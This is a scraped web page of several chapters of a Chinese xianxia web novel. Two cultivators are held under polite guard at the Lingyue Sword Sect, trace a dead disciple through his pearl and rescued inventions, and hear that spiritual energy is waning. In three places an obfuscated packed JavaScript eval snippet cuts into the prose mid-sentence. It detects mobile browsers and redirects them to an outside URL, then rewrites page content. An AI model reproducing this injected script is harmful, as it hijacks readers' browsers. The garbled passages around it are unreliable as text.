“所以,我们是被‘软禁’起来了?”应听声手中拿着本书趴在雕花窗檐上往外看,目光所及之处遍地都是凌月剑宗的弟子,美名其曰“有需要就吩咐他们”,看似照顾,实则监视。 “怎么能叫‘软禁’。”清休澜靠在一旁的软榻上,一边看着那本“浅谈……天机宗篇”,一边将前不久柯麒那一套说辞重复了一遍:“‘凌月剑宗三十二座藏书阁,二十一座习武场,八峰七十二层,清长老皆畅通无阻,可随意参观。奇珍异宝,灵草灵芝,就是想带走赏玩一二,也是使得的’。行动无碍,好吃好喝,还有人伺候,这‘软禁’的待遇也太好了些。” “前辈这话直接将‘出入皆有人跟随’、‘不允下山’、‘弟子能与我们谈论的话题只有显而易见且毫无营养的事实’等等全都抹杀掉了。”应听声有气无力道。 清休澜早早地就在这处清净雅致,但远离主峰的居所设下了阻离阵,隔绝了所有“偷听”和“偷看”的可能。应听声能从里面看见外面,外面的人却看不见里面。就算如此,哪怕应听声深更半夜推开门,也立刻会有守在门口的弟子带着笑容围上来问他要去哪儿,需要什么,好像根本不需要休息一般。 闻言,清休澜笑了一声,遭殃的其实只有应听声一人,毕竟凌月剑宗的胆子还没大到敢派人紧跟着清休澜。他合上手中用以打发时间的读物,懒懒地一顺头发,道:“不留在这,怎么找这颗云浪珠的主人。” 说到这,趴在窗上的应听声突然“哦”了一声,转过身对清休澜道:“方才我与一位叫‘云青’的前辈闲聊,他说自己的师兄已经下山有一段时间了,却一直没有和他们联系。前辈,你觉得……”话音停在此处,应听声抬头看向清休澜,似是在征求他的意见。 “成长得很快啊,小朋友。都无师自通地学会探听消息了。那么,先不管我如何想,你自己是怎么想的?”清休澜听到这个消息眼神都没动一下,就像早就知道,只等应听声自己说出来一样。 应听声缓缓回头看了一眼飘在自己右手边的琉璃灯盏,欲言又止,最终还是没问出来,答道:“……反正现在也没别的事,我明日可去找云青前辈那儿看看,说不定能找到那位师兄的名字或是画像什么的……” 清休澜没对应听声的“计划”发表任何看法,只是点了点头,然后手一挥,抛出了那颗云浪珠,看应听声手忙脚乱地稳稳接住后说道:“可以。在凌月剑宗内不必担心安危,他们不敢让你死——除非你真给那神兽崽子做什么降落训练。不过就算你真摔得七零八落也没事,我会把你原样拼回来的。” 忽略应听声一脸见鬼的表情,清休澜接着说道:“有我在此,不必束手束脚。只需记住一点,‘云浪珠的主人已死’这个事实不可暴露,要让众人坚信‘云浪珠的主人只是失踪’。你可明白?” 自从来到凌月剑宗后,清休澜就开始不断问应听声各种问题,不过这些问题他大多都答得上,也就只将其当作清休澜的“随堂测验”。闻言,应听声习以为常地点了点头,答道:“明白。内门弟子死亡,凌月剑宗定要调查死因,但这死因实在过于丑陋,为了掩盖‘凌月剑宗内门弟子参与溟市的灰色交易’这一事实,他们一定会不余遗力地将这件事压下去,与我们的目的相悖。” 清休澜赞许地点了点头,道:“说下去。” “除了这颗云浪珠,没有任何证据能够证明这位内门弟子已经死亡,只要再略一推波助澜,让其与溟市扯上关系……”应听声背对夜色,轻声说道:“……那么凌月剑宗就会像今日的天机宗一样,被那虚无缥缈,一阵风就能轻易改变的‘名声’所累,不得不出面与溟市交涉了。” “‘溟市绑架宗门之首凌月剑宗内门弟子’,只要此事在修仙界传开……那凌月剑宗就像今晚吃的那道‘炙羊肉’一样,要被架在火上烤了。”说着,清休澜笑了起来,道:“修仙界如一潭死水般平静太久了,这样的乐子,可不常有啊。” —— “哎呀呀……我是不是走错了,这还是天机宗吗。”一位身边跟着两个小童的青年用右手捂住了眼睛,不忍直视道。 “回来了?那你赶紧收拾收拾,千万别闲着。哦对,沈长老等你好久了,你收拾好了记得先去他那儿一趟啊!”苏扶盈正站在天机宗正门前,用垂镜引抬起了一块倒塌的巨石,她身边的几位女弟子立刻结阵,几道不同的阵法附上巨石,下一瞬,那块足以让一个成年人在上面躺下的巨石就被阵法粉碎成细碎的粉尘,落进了收纳柜中,被人背走了。 “没人愿意先给我这个无关人员解释一下发生了什么吗?”说话这人是五长老之一的孟玄,身着一件墨色大氅,脖子上挂着一枚银色长命锁,腰间缀着流苏装饰,还给自己设了个阵隔绝了飞舞的粉尘,眯着眼睛故作可怜道:“我好不容易才闯过那十死零生的幻灵秘境,没人迎接就算了,怎么家都被炸没了一半。” “十死零生?那现在站在我面前的一个大人。”苏扶盈指了指孟玄,又将手指移到他身边跟着的那两个小童,“和两个小童,是什么?从阴阳司逃窜出来的幽魂?” “那是我去之前,我出来之后,那幻灵秘境就变成‘七死三生’了。”孟玄一摊手,还是没把眼睛睁开,却好像看得见路一样精准地避开了地上的每一块碎石,朝天机宗内走去,顺便问道:“沈灵在哪儿?” 苏扶盈和身旁的姑娘对视一眼,都无奈地一耸肩。她收回了飘在空中的垂镜引,朝着另一片狼籍走去,答道:“和生阁。” 玉阶损毁后,大部分物资都得弟子下山采买。买什么,买多少这类琐事都要送到沈灵桌上审批。即使沈灵觉得没必要,但文书依旧如雪片般源源不断地送进了自己的和生阁——议事大殿的一侧被爆炸波及了。 待此事毕,“精简报告”和“非必要事务无需特意上报”两项议题需得提上日程,沈灵面无表情地想道。结界波动,沈灵刚一抬眸,就听见一声熟悉的呼唤:“呀,忙着呢?” 定睛一看,果然是那“事儿精”孟玄。他手上拿着把青竹扇,扇上还坠着块拇指大的鱼形青白色玉佩,大半夜也不嫌冷,有一下没一下地扇着风。 “闲话稍后再议……再叙,先说正事。”沈灵搁下了笔,挥手倒了杯茶递给孟玄。 孟玄用扇子接住了这杯茶,答道:“好好。那我先说结论——即使是灵气庞大而充裕的幻灵秘境,也没能逃过‘枯竭’的命运。” “果然……么。”沈灵轻声道,神色微凝。几月前,沈灵就发现天机宗的几条灵脉正在逐渐枯竭,其中蕴含的灵气同浊气都在慢慢消失。灵气是修仙界的根本,要是灵气消失,那还修些什么。此事非同小可,为了验证是只有天机宗地下那几条灵脉在枯竭,还是所有的灵气都在消失,沈灵便托孟玄前去灵气充裕的‘幻灵秘境’一探究竟。 “别苦着个脸,要我说,灵气消失也不见得一定是坏事——你真的相信‘飞升’存在么?灵气出现之后至今,从未有一人成功飞升,死于渡劫的人却不在少数。这灵气究竟是福,还是祸?”孟玄走到一旁待客的椅子上坐下,端起扇子上冒着热气的茶喝了一口。 “是福是祸,不该由我一人评说。至少灵气对人类而言,的确助益良多。”沈灵摇了摇头,伸手整理起桌面。 “那浊气呢?” 沈灵动作一顿,就见孟玄终于缓缓睁开了那双银色的双眸,用扇子遮住了自己的下半张脸,一字一句道:“灵气浊气相伴相生,只要灵气依旧存在于世,‘堕阴者’就永远无法被彻底根除。” 所谓“堕阴者”,是指那些吸收了过多浊气,从而被控制心智,无意识杀戮与破坏的人。早在灵脉刚出现于世时,堕阴者便存在了,赶不净,杀不绝。哪怕如今已过去千年,人们依旧奈何不了堕阴者,想让他们停止杀戮,唯有“杀死他们”一条路。 天机宗底下那条长千余公里的灵脉就过于庞大,为此,天机宗宗主设下了一道巨大的法阵,将灵气与浊气分隔开来,确保天机宗众人能从中获取的只有干净的灵气。 但灵气与浊气相依而生,光取走灵气,只留下浊气哪里能维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105632|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持平衡?所以那道巨大的封印法阵需要一块“镇石”。浊气会逐渐侵蚀法阵,“镇石”的作用就是替法阵承担浊气的侵蚀,使法阵能够运转不歇。 而体质特殊,能够同时吸收容纳两种气体的清休澜就是这块“镇石”。 这就是天机宗分离浊气的大阵存在的最重要的原因。 要说这世上有谁能够打包票说自己绝不会成为“堕阴者”,那就只有能够接纳浊气,与之共存的清休澜一人。 虽然清休澜不能化浊气为自己所用,但浊气也不会给他带来本质上的伤害——只是动用灵力时浊气会和灵气一同流过经脉,产生剧烈痛感而已。 “堕阴者危害一方,不应存在于世,以死入阴阳轮回转世,方为解脱之法。浊气若能彻底散于世间,则大善也。”沈灵肯定道,迟疑了一瞬,又接着低声说道:“但灵气随之一同散去后,我等,与修仙界各宗门,是否还有存在的必要?” 现在大部分阵法和结界,与各种新发明的事物,皆以灵力驱动,失去灵力后,这世上的绝大多数阵法结界,就都要遗失在岁月的长河中了。 孟玄不以为意道:“没了灵力,你就不是你了么?别小瞧人类智慧,就算灵脉彻底枯竭,所有以灵力驱动的事物全部报废,也迟早能够再次复原。十年不够就百年,百年不够就千年。” 沈灵透过轩窗看向静谧的夜空,静默两息后答道:“但愿如此。我只怕,有人为了延缓灵脉枯竭,做出惊骇世俗的事来。到那时,恐怕当真要‘天下大乱’了。” —— 虽然“灵脉枯竭”听起来是件大事,但它变化的速度却并不能以肉眼观测。夜晚过去后,太阳照常升起,与过去的每一天一样,并无任何不同。 “真高兴你和清长老能留在凌月剑宗,相信我,你们一定会在这里度过相当愉快的一段时光。” 第二日早,清休澜留在雎云宫中“躲懒”,应听声则带着身后的两个“小跟班”去找云青了。 云青很热情地接待了他,在柯麒柯长老友好且欣慰的目光下领着应听声在凌月剑宗四处参观。忽略背后两道炙热的目光的话,应听声倒是很有兴趣多了解一些自己以前从未见过的东西——好吧,忽略不了。 “当然。凌月剑宗比我想象中更加有趣——可以坐人的,低空的云。我是说,这样存在于童话中的东西居然出现在我眼前,太神奇了。”应听声尽可能不去看身后那两位毕恭毕敬,但视线从未离开过自己的弟子,与云青交谈道。 伪装成狐狸的乘黄团子慢慢跟在应听声身边,像是没睡醒一般打了个哈欠。 “这是师兄很久前的发明,因为八峰上有些没有修缮□□路十分难走,为了方便住在这里的老人家上下,‘飞云撵’就此诞生。”云青说到这时眼神中满是敬佩,说完这句话后眼中的光却轻轻闪了闪,接着轻声说道:“但除了那些腿脚不便的老人家,宗内大部分人都觉得师兄不该把时间浪费在这种事上。他们总对师兄说‘你应该将所有精力都用在修炼上’。” “‘没有意义’?飞云撵若能普及,不知造福多少人家。这样惠及百姓的发明,怎么能称为‘没有意义’呢?”应听声难以置信地问道。 云青笑了笑,解释道:“可是小友,飞云撵根本不可能普及的。因为这样需以灵力驱动的发明,对普通人而言犹显‘食之无味,弃之可惜’。就算他们可以用灵石中的灵力驱动飞云撵,这买灵石的钱,又要从何处缩减?”他抬手抚了抚面前柔软的云朵,道:“凌月剑宗腿脚不好的老人家只有很少很少一部分,所以飞云撵对凌月剑宗而言,就是没有意义的发明。” “飞云撵尚可改进,总有办法能够让它无需再以灵力驱动,但如果……”应听声与云青走进一片阴凉,失去阳光照映后,应听声的眼眸微微暗了下来,那黑眸中细碎的星光却依旧明亮。 “如果所有宗门都将其称为‘没有意义的发明’,那那些普通的老人该怎么办呢。他们,他们的下一辈,下一辈的下一辈,就再也等不到云落下民间的那一天了。” 14. 匿息 云青闻言深深地看着尚且年幼的应听声,站在原地静默了片刻,随后感叹道:“小友年纪轻轻便有如此觉悟,令我羞愧。若宗门中人皆如小友般,那‘海晏河清’、‘福祉盈门’就绝不只是文书上的一句空话了。” 应听声盯着虚空中的某一点,视线没有聚焦,听到云青这样说,也只是礼貌地笑了笑,不知在想些什么。 良久,他才问道:“……这‘飞云撵’,是你师兄做的最后一件作品了么?” 云青站在光影交界处,树叶的影子在他的脸上摇晃,他抬手遮住了刺眼的阳光,道:“或许。但我希望这不是。” “那你师兄的其他发明,方便让我一观么?”应听声想了想,诚恳地提出了请求。 云青垂眸看着面前的飞云撵,而后又转过头看了看应听声身后那两个眼观鼻鼻观心的弟子,淡声道:“师兄发明的那些作品很早之前就已经被……尽数销毁了。飞云撵是师兄千恳百求才被留下的,也只有这一撵。” 他抬手轻抚腰间佩剑上的剑穗,剑穗上同样系着云浪结,云浪结上同样有一颗熠熠生辉的云浪珠。 云青的细微动作被应听声遮挡,旁人不得见。应听声抬眸看了一眼云青,随后不动声色地垂下眸,观察着他手间的动作。 云青用右手摩挲着云浪结的第四结,见应听声察觉,他才缓缓停下动作,道:“你想见,唯有时间倒流,回到从前,方才得见了。” 应听声微微偏头看了看身后的人,然后故作惋惜地叹了口气,在那两人看不见的地方朝云青一眨右眼,道:“如此。时候不早,清前辈寻不到我该着急了,下次再见吧。” 说完,应听声蹲下身抱起了坐在一旁跃跃欲试想跳上飞云撵的狐狸团子,往来时的方向走去。这团子的脖子上不知何时多了一条项圈,上面挂着一盏小小的琉璃灯,正微微晃动着。 清休澜靠在雎云居院落凉亭中,撑着头看向凉亭屋檐上挂着的,随着微风摇晃的普通灯盏。设在周围的法阵一动,应听声从大门走了进来,跟在他身后的两位弟子被法阵勤勤恳恳地拦在了门外。 应听声抱着团子走进院落左右看了看,很快发现了坐在凉亭看他的清休澜,朝着凉亭的方向走了过来。 清休澜在原地未动,等应听声靠近之后,反倒先问了个无关紧要的问题:“你这神兽崽起名字没有。” 应听声一愣,那神兽崽就从他的怀中跳了出去,跑到清休澜身边嗲嗲地叫唤着,身上的每一根绒毛都在对清休澜说:快来摸我呀。 清休澜垂眸看着面前翻着肚皮的毛绒团,没有伸手的意思。 “还没有,前辈想给它起个名字吗?”应听声可没办法像这小兽一样从凉亭靠背处直接跳进去,他绕了个路,从一旁的阶梯上走了上来,站到了清休澜身边。 清休澜轻轻摇了摇头,开口道:“既然它由你负责,名字自然也该由你起。” 应听声低头看了看试图往清休澜怀里钻,又被一层薄薄的结界挡住的小兽,迟疑道:“……我还没想好。就先叫团团吧。话说它是……公的母的?” “唰”一声,一道灵力将在椅子上打滚的小兽托了起来,清休澜慢吞吞地看了看,然后将其重新放了下来,答道:“幼年雄性乘黄。” 清休澜伸手在乘黄脖子上挂着的那盏琉璃灯轻轻一抹,琉璃灯微微亮起,又很快暗了下去,就像对清休澜眨了眨眼。 应听声动作自然地将四脚朝天的狐狸团拎起,然后抱到一旁,它在外面走了一圈,爪子没擦,脏兮兮地就往人家衣服上蹭,没被丢出凉亭都算清休澜脾气好。 随后,他才转过头来对清休澜说道:“刚刚云青前辈说的那些……前辈怎么想?” 看清休澜微微挑起眉,应听声一笑,接道:“那位师兄的发明,应当留下了一些,只是碍于我身后那两位弟子,他不敢放在明面上说。方才,云青前辈悄悄摸了摸云浪结第四结,又接着提到‘时间’,会不会是在代指……今晚的四更天呢。” 清休澜用空闲的右手绕了绕身旁的长发,漫不经心道:“云青不知雎云居守卫森……礼仪周到,要是知道你难以避开凌月剑宗耳目单独出来的话,应该会想办法替你支开那俩弟子,随后让你借口‘迷路’,浑水摸鱼……” 他话还没说完,就见应听声满眼期待地看着他。 清休澜:“……” 清休澜:“怎么?” 应听声往前走了一步,半蹲在清休澜面前,眼睛里简直冒起了星星,轻松说道:“前辈一定有办法能让我悄无声息地溜出雎云居吧?” 清休澜似笑非笑地俯视着他,问道:“若我说没办法,你待如何。” 应听声眼中光彩未变,只轻轻叹了一口气,故作苦恼道:“那我只好试试能不能挖条地道出去了。” “可以。”清休澜笑着鼓掌道:“非常愚蠢的‘越狱计划’,加油,相信你。” 虽然嘴上这么说,但清休澜依旧伸出两指在空中勾勒出两道符,那淌着淡金流光的符咒纹路落在一张淡黄色的符纸上,飘到了应听声手中。 “匿息符。”清休澜介绍道。 “贴上这个就能让门口那堆人视我为无物了么?”应听声抬手接过那两张金光闪闪的符咒,好奇问道。 “匿息符对修为比你高的人不起作用,你若贴着张普通的匿息符出去,就会宛若夜里的太阳,让人想忽略都难。”清休澜和和气气地文雅道,随后在应听声“不会吧我见识短你别骗我”的目光下缓慢补充:“不过呢,既然我画了这两道符给你,你尽可放心用。我保证,就算凌月剑宗宗主亲至,你也不会被察觉一丝一毫。” 清休澜轻轻一瞥在一旁花丛中玩闹的小兽,道:“让那小……团团,跟你一起去。神兽无需借助匿息符便可隐匿起来,只要它们不想被人找到,就不会被人找到,安心。” 应听声点了点头,静待夜晚降临。 挂在凉亭屋檐那盏纸灯依旧随着风轻轻摇晃着,阳光从大地上褪去后,那灯盏就像吸足了阳光一样,自己渐渐亮了起来,就像一只巨大的萤火虫一般。 云青有一点说的很对,那就是凌月剑宗的伙食确实不错。每天酉时都会有专门的人将膳食送到雎云居门口,从开胃小菜到主菜,再到饭后甜点一应俱全,不可谓不用心。 每次用膳前,清休澜都会将每一道菜都尝一口,随后才会让应听声动筷。因为大部分宗门中的弟子都已筑基,膳房会适当地在饭菜中加入少许特殊的灵植。这种灵植不会影响饭菜的味道,反而有益修行。 应听声毕竟是个普通人——最多算被清休澜亲自洗髓过一次的,不那么普通的普通人。那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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走出一段距离后应听声才敢重新呼吸起新鲜的空气,小心翼翼地回头看了一眼雎云居,确定没有人发现自己“金蝉脱壳”后才放轻脚步往前走去。 路上,很多拇指大的光点充斥在道路周围,就像成群的萤火虫一般。应听声抬起手,一团光点缓缓落在他的指节,应听声这才发现这根本就不是什么萤火虫,而是一团团细小的灵力。 应听声将一团光点握在手心,朝着布满光点的小路走去。 在一栋高大的建筑背后,应听声看见了垂眸等在一颗树旁的云青。云青没有发觉有人接近,正低低看着自己指尖上的光团,并不急躁。 应听声没有出声,只轻轻揭下了身上贴着的匿息符,瞬间,云青便朝着他所在的方向抬起了眸,看见他时从鼻腔中疑惑地“嗯”了一声,随后朝着他走来。 “你……”云青看着应听声,似乎想问些什么,视线在他的身上扫了两圈,最终像是意识到了什么一样,住了嘴,重新换了一个话题:“白天人多眼杂,不便细说。明面上,师兄的发明已经被销毁,但我偷偷抢救回来一些。凌月剑宗中少有与我一样觉得师兄的发明堪称天才的人……”说到这,云青顿了一下,没有继续说下去。 他的脑海中突然划过师尊嘱咐过的“不要和清休澜身边那个小孩多说,不要带他去任何不该去的地方”,默默在心中反驳道,“师兄的发明,与我将其藏匿的地方,应当都不算在‘不可说’与‘不该去’的范畴。如果这也算的话,我才是那个应该接受处罚的人……” 想通这一节后,云青微微笑了起来,对应听声道:“所以,我很乐意和你分享这‘禁忌’的宝藏。” 15. 风摇 云青作为普通的内门弟子,还没有自己的单独居所,而是与自己的师兄弟住在一起。云青的师尊柯麒除了他和他口中的“师兄”外,座下还有两位天资聪颖的弟子。 虽然是师兄弟,但“私藏本该被销毁的发明”这种事还是不太方便让那位小师弟知道,否则他要是“不小心”告诉了师尊,那云青可真是没处说理去。 云青也没有将那些抢救回来的发明藏到自己的卧房中的想法,那里不够安全。 于是应听声就跟着云青走到了凌月剑宗后山的荒山脚下。这里一般只会有被罚来挑水砍柴的弟子才会经过,而现在,夜深人静,连个鬼影都没有。 借着树林遮挡,云青低头伸出右手,在左手无名指尾端轻轻一抚,一枚其貌不扬的戒指骤然出现,几股细碎的流光从戒指中散出,缓缓萦绕在地面。 紧接着,流光散去,地面上便出现了几件物什。 见应听声疑惑,云青便主动开口介绍道:“这是师兄之前给我做的储物戒,比不得清长老手上那个,但比普通的储物戒要更加安全,容量也更大。” 应听声蹲下身,看着云青又从储物戒中拿出一盏灯笼,用法术点燃了其中的蜡烛,然后放到了一边。微弱的烛光照亮了二人身周,也照亮的地上的“宝藏”。 宝藏的数量不多,莫约也就三四件,都有被大火烧过的痕迹。 “火势太凶,我只抢出了这几件,其余大部分,已经化为了灰烬。这几件也没好到哪儿去,说来惭愧,我对这些精巧的物什可谓一窍不通,师兄也没留下个设计图纸什么的……也就无从修理。”云青无奈道。 他看着应听声拿起一件形似鹰,爪下抓着一个西瓜大的箱子的物什,介绍道:“你既是天机宗的人,应该知道那‘天机鸟’吧?这便是师兄拆了……咳,之后仿造的,参考了天机鸟的原理,但将那些珍贵的材料换成了普通一些的。师兄唤其为‘飞鹰递箱’。这鹰脚下的箱子就是用来装东西的,但它不像天机鸟那么‘灵’,只会沿着几条固定路线飞行。” 应听声小心扶着只有一只爪子抓着的箱子,随后像是摸到了什么一样,将箱子慢慢翻了过来,然后念道:“……「杜」?”那箱子背面刻着一个龙飞凤舞的姓,就像谁的签名一样。 云青点头道:“师兄姓杜,在每件作品上都留下了自己的签名。” 应听声偏着头想了想,问道:“似乎没在那飞云撵上看见这样的签名。” 云青叹了口气,道:“……是师尊的要求。师尊说,飞云撵可以留下,但为了防止有人效仿,抬手抹去了飞云撵上师兄的名字,当做是宗内研发的。” “无意冒犯,但……柯长老是不是对杜前辈过于严厉了?”应听声皱了皱眉,问道。 云青抬头看着天上若隐若现的星星,轻声答:“对于普通的徒弟来说,过。但对于‘剑峰继承人’来说,犹嫌不足。” “怪不得……”闻言,应听声喃喃道,随后在云青疑惑的眼神下摆了摆手,解释道:“只是突然明白为什么柯长老为什么那么难以容忍这些发明了,可能在柯长老眼中,杜前辈现在最重要的事就是成为合格的‘剑峰继承人’吧。” —— “非常感谢您愿意将这么珍贵的‘宝藏’交给我,我会尽力将它们恢复到原来的样子的。”月落参横时,应听声拿着一枚云青给他的临时储物袋,朝云青道谢。 “小友言重了,我该感谢你才是。如果能将师兄这些发明传入民间,那才不枉它们来此世一遭。它们不该留在这,我的储物戒或者凌月剑宗,都不是什么好去处,美玉不该蒙尘。拜托你了,小友。”云青自然而然地对应听声微微行了个礼,随后又一次深深地看了他一眼,眼中是应听声读不懂的情绪。 云青像知道什么一样,没有提出送应听声一段,先一步转身离开了。 应听声目送云青离开后,突然听见一声轻轻的嗥叫声,随后手中的储物袋就被突然从空气中窜出的团团叼走了,再次隐入夜色中,消失不见。应听声无奈地叹了一声,随后拿出清休澜给他的另一张匿息符,贴在身上,朝着雎云居的方向走去。 和云青聊完之后已近五更天,夜已过半。全世界的人、动物与花草都陷入了沉眠,正是夜静如水之时。 就连雎云居门口换了一批的守卫弟子都无法抵抗这温柔晴和的夜晚,半睁着眼小憩着。 应听声是怎么悄悄出来的,如今就怎么悄悄回去了。 雎云居内,烛火已熄。 黑暗中,撑在软塌上小憩的清休澜缓缓睁开眼,看着应听声做贼一样,蹑手蹑脚,走一步回头看一眼,好笑地出声问道:“和云青‘把手秉烛游’完了?” 应听声浑身一颤,清休澜这才挥手重新点燃灯烛。 “前辈!吓死我了。”在黑暗中骤然出声的清休澜差点把应听声送去阴阳司,他捂着胸口喘了两口气,然后才回答了清休澜的问题:“前辈,你来看看?” 清休澜颔首,应听声便从怀中掏出了前不久清休澜抛给他的云浪珠,往上一托,那颗离了剑,黯淡下来的珠子便自己浮了起来,一位年轻男子的肖像以及一串潇洒的签名被珠子投射出来。 签名略显潦草,但可以明显看出那珠子的主人姓“杜”。 应听声开口唤道:“团团?” 浑身雪白的小兽叼着深蓝色的储物袋从窗外跃了进来,显现出身形,随后又粘腻地蹭到了清休澜身边。 清休澜抬手一勾,用灵力解开了沾着神兽口水的储物袋,顿时,一堆乌漆麻黑难以看出原貌的物什便一股脑地掉了出来。 “唰”一声,在那团黑乎乎的东西落地之前,清休澜立刻甩出一道灵力,堪堪接住了这些本就易碎,如今更是得万分小心的“宝藏”,将其轻轻放在地上。在那之后,清休澜抬手勾起其中一件,随口问道:“哪儿捡的破烂。” “……”应听声小声辩解道:“不是破烂,前辈。杜前辈这些发明虽然对修士来说不值一提,但对……我这样的普通人来说极为实用。” 清休澜用灵力托着那黑乎乎的物什左右看了看,听到这话却没继续冷嘲热讽,只淡淡道:“我有几本关于机巧术的文书,你所有心,一会我拿给你。” 说完,他也没看应听声有何反应,自顾自上手在那物什上摸了摸,随后将灵力覆于手指之上,抹尽了某处被大火灼烧的乌黑。清休澜抬头看了一眼云浪珠,慢慢道:“如此,便可确定那死于客栈的凌月剑宗弟子,就是这柯麒长老属意的‘剑峰继承人’,杜风摇了。” 应听声点点头,眼中欣喜未散,连语气都变得轻快起来,不等清休澜开口问,就自然地将自己的想法说了出来:“之前前辈给我的《异闻录》上有写,‘深海之域,鲛人栖息。雄鲛禀至阳之气,雌鲛含至阴之精,缺阴补阴,缺阳补阳。阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105634|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳和谐,修道一途,自当顺也’。如果杜前辈在柯麒长老给予的压力和期望下修为迟迟未能精进,想必定会心急如焚。在得知可用鲛人采补精进修为后……” “但我不明白。”说到这,应听声皱了皱眉,道:“杜前辈愿意花费时间做一些在别人眼中‘毫无用处’的东西,只为方便老者上下高山,为什么会觉得用鲛人……这样的事情,是对的呢?”他眼中的困惑愈发浓郁,急切地,焦躁地,想要清休澜指点迷津,给他一个答案。 “人心易变。”清休澜无声几息,缓缓放下了手中的物什,开口道:“普通人的一生何其短暂,三年五年还好,三十年五十年过后,谁又能保证自己的心从未变过?更何况寿命本就长于普通人的修士。或许对杜风摇而言,为普通人着想的那颗心只在他的漫漫人生中占了芝麻大小的一团。” “过了,也就过了。”清休澜眼神平静,道:“即便如此,那份心意却始终存在,不会消亡于世间。” 清休澜抬手一挥,将地面上连同手边的物什全部用灵力洗涤了一遍,去除了表面上的脏污,然后将其重新装进了储物袋,道:“毕竟,还有像你一样的人,想要将这份心意传递下去。虽然只有很少一部分人,但希望的火光只要有一人守护,便长明不灭。” 应听声接过储物袋,就听清休澜接着说道:“很晚了,你先去睡吧。那几本书等我找找,明日拿给你。好梦。” “人心易变……吗?”应听声缓缓走出了清休澜的西院,模糊不清地在心中念道。 —— 天机宗内。 “师尊。”一小孩脸上难掩欣喜地从门外窜进了和生阁,冲阁内的人喊道:“我会‘引火诀’了!” 坐在大殿的沈灵一皱眉,道:“寄忱,和生阁内,禁喧哗。” “抱歉,师尊。知道了,师尊。”这小孩正是当日沈灵从山下带回来的青衣孩童。沈灵给他改了名,如清休澜所预料那样,将这个体质特殊,颇有灵性的孩子收为了徒弟。 沈灵搁下手中的笔,将许寄忱唤到身边来,然后仔细看了看他手中中那团烧得正烈的火焰,点头道:“火焰适中,色泽璀璨,妙也。”他摸了摸许寄忱的头,接着说道:“莫在你的师哥师姐前卖弄,谦恭为上,藏锋敛锐。” 引火诀并不是什么高深的法术,反倒堪称基础中的基础。但许寄忱不久前还在玩泥巴,连灵气是什么都一无所知,引火诀对他而言,就如同天方夜谭一般。 更何况,大部分修士初入门修习引火诀时,都是将咒法刻画在黄纸之上,再燃之。可许寄忱却是直接越过了这一步,无需借助外物便能调动灵气,堪称大才也。 许寄忱点点头,现在的他还不能理解为什么师尊让他收敛锋芒,但他最是听话。师尊说不能,就是不能,无需理由。 沈灵拉过他的手,在他的手心中画了一道和引火诀相似,却也不尽相同的咒法,告诉他:“此为‘引水诀’。若你又不慎点燃什么,便以此诀将其熄灭。” “我知道了,师尊。”许寄忱在心中重复了一遍刚刚沈灵画下的咒法,又一次离开了和生阁。 沈灵摇了摇头,将目光重新落回方才在看的书信上。 那碎金信纸上的字笔意逍遥,独具风骨,洋洋洒洒地写了几个大字,占满了整张信纸: “风浪将至,无需动作,泰然处之即可。” “清。” 16. 寻风 昨日睡得晚,第二天清休澜拿着一沓书穿门而入时,应听声还在梦乡深处。 雪白的狐狸卧在应听声枕边一个不大不小的淡黄色软枕上,见到清休澜就要叫唤,被清休澜眼疾手快地施了个禁言咒。 清休澜轻轻将手中的书放在储物袋旁,朝眼巴巴看着他的小兽比了个手势,又出去了。 团团甩了甩毛,动作灵敏地从半开的窗户跳了出去,跳到了外面松软的草地上,在地面上嗅了嗅,朝着清休澜离开的方向追去。 清休澜站在正门前,听见雪白狐狸从后面追来后开口嘱咐道:“我有事出去一趟,你在这看着应听声,有事便摇灯盏唤我。” 狐狸乖乖坐在清休澜身前,点了点头。 法阵波动,清休澜提步走了出去。 刚一出雎云居,守在法阵外的凌月剑宗弟子便习惯性地围了上来,直到被一股难以抵抗的威压推开,这才看清眼前人。 清休澜淡淡看了领头的弟子一眼,没有表情。那弟子立刻跪下,利落认罪道:“弟子无意冒犯清长老,还请长老示下。” 随着领头人的动作,跟在他身边以及身后的守卫弟子也紧跟着跪了一地,活像个“万民朝拜”现场。 清休澜一句话没说,收回目光向前走去。等那阵不容冒犯的强大威压散去后,领头弟子才发现汗已湿衫。 随着路往上走,左拐右拐过十几个弯后,八座傲然屹立在云间的山峰豁然出现在眼前。凌月剑宗既以“剑宗”为名,为首那座格外高大的山峰自然就是“剑峰”。 天色尚早,雾气弥漫。上山的路被久久不散的白雾遮了个七七八八,看不分明。清休澜略一抬眸看向山顶朦胧的白玉房檐,足下轻轻一点,整个人就如离弦的箭一样往上飞去。 到达一定高度时,清休澜开始慢慢往下落,待看见一处落脚点时,他就再次在落脚处轻轻一点,借力再次上升。清休澜像一只永不落地的轻盈飞鸟一样穿梭在山间,三两下便落在剑峰顶。 “清长老大驾光临,身边连个照顾的人都没有,倒是凌月剑宗照顾不周了。云歆,请清长老入座。云笛,给清长老上茶。” 清休澜刚一落地,连脚下的路都还没觉出是软是硬,就听见一声从不远处遥遥传来的问候。 